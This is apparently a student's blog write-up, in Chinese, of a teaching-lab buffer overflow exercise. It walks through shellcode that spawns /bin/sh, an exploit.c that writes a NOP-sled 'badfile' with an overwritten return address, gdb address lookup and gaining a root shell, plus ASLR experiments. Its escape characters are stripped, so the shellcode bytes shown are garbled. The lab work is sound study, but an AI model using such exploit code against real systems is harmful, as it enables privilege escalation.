• 缓冲区溢出漏洞实验--实验楼1210


    一、写在开头的实验体会

    本次实验比较简单,所有流程基本跟着指导来就行了,试验过程中遇到一些麻烦的小问题。

    1.对vim剪切板的使用不熟悉(最开始只会y和p指令完成在一个界面的复制黏贴),导致实验过程中全程手打,耗费了大量时间。

    2.最开始攻击时出现Segmentation fault,指出现了段错误提示,来发现是 exploit.c 文件代码在指定预留偏移的位置输错了,更改后才成功。

    3.实验楼有时间限制,一定记得不要逗留太多时间,开启两次都在最后一题断连环境,真的搞心态TAT

    通过这次实验,我对缓冲区溢出攻击的原理有了更深刻的理解,了解到缓冲区溢出所带来的普遍性的安全问题不可忽视。这也提醒我们在平时学习的过程中就应保持良好的编程习惯,减少潜在风险。

    二、准备步骤

    由于32位环境更方便观察观察汇编语句,实验楼提供了如下三条指令安装软件包配置环境(系统默认是64位环境)

     为使实验过程中得到准确的内存地址,需要提前关闭地址空间随机化的功能。

     二、实验内容

    stack.c程序完成读取一个名为“badfile”的文件,并将文件内容装入“buffer”

    进行编译并关闭地址空间随机化

    我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。

    所采用的shellcode就是当前代码的汇编版本:

     1 char shellcode[] =
     2     "x31xc0" //xorl %eax,%eax
     3     "x50"     //pushl %eax
     4     "x68""//sh" //pushl $0x68732f2f
     5     "x68""/bin"     //pushl $0x6e69622f
     6     "x89xe3" //movl %esp,%ebx
     7     "x50"     //pushl %eax
     8     "x53"     //pushl %ebx
     9     "x89xe1" //movl %esp,%ecx
    10     "x99"     //cdq
    11     "xb0x0b" //movb $0x0b,%al
    12     "xcdx80" //int $0x80
    13     ;

    在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

     1 char shellcode[] =
     2     "x31xc0" //xorl %eax,%eax
     3     "x50"     //pushl %eax
     4     "x68""//sh" //pushl $0x68732f2f
     5     "x68""/bin"     //pushl $0x6e69622f
     6     "x89xe3" //movl %esp,%ebx
     7     "x50"     //pushl %eax
     8     "x53"     //pushl %ebx
     9     "x89xe1" //movl %esp,%ecx
    10     "x99"     //cdq
    11     "xb0x0b" //movb $0x0b,%al
    12     "xcdx80" //int $0x80
    13     ;
    14 
    15 void main(int argc, char **argv)
    16 {
    17     char buffer[517];
    18     FILE *badfile;
    19 
    20     /* Initialize buffer with 0x90 (NOP instruction) */
    21     memset(&buffer, 0x90, 517);
    22 
    23     /* You need to fill the buffer with appropriate contents here */
    24     strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  24
    25     strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    26 
    27     /* Save the contents to the file "badfile" */
    28     badfile = fopen("./badfile", "w");
    29     fwrite(buffer, 517, 1, badfile);
    30     fclose(badfile);
    31 }

     

    其中x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

    由 strcpy(buffer+100,shellcode);shellcode 保存在 buffer + 100 的位置。

    为获取内存地址,我们进入stack.c调试界面

    使用disass main命令

     

     esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。

     

    得到结果:

     

     

     根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode的地址为 0xffffcfb0 + 0x64 = 0xffffd014(使用十六进制加法)

     

    现在修改 exploit.c 文件,将 x??x??x??x?? 修改为计算的结果 x14xd0xffxff

    然后,编译 exploit.c 程序:

    依次运行程序,输入whoaim回车(这里打错是不能backspace删除的

    结果显示获得root成功,说明攻击成功。

    三、拓展练习

    1、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

     (此时我们无法获得准确内存地址,自然无法攻击成功

    如图,没有成功,提示段错误。

    2.将/bin/sh重新/bin/bash,观察是否能攻击成功

     如图,攻击失败。

     

  • 相关阅读:
    [数据结构]线性表
    对C语言中指针的一些新认识
    Qt做动画旋转旋转图片
    延时程序执行Qt
    关于部分网页打不可的问题
    关于QString中的arg()函数使用方法
    Qt5.3.0 for Android开发环境配置
    QMenu,contextmenuevent,窗体透明
    Qt自定义窗体,边框,圆角窗体
    一个良好的团队
  • 原文地址:https://www.cnblogs.com/you-knows/p/13793916.html
Copyright © 2020-2023  润新知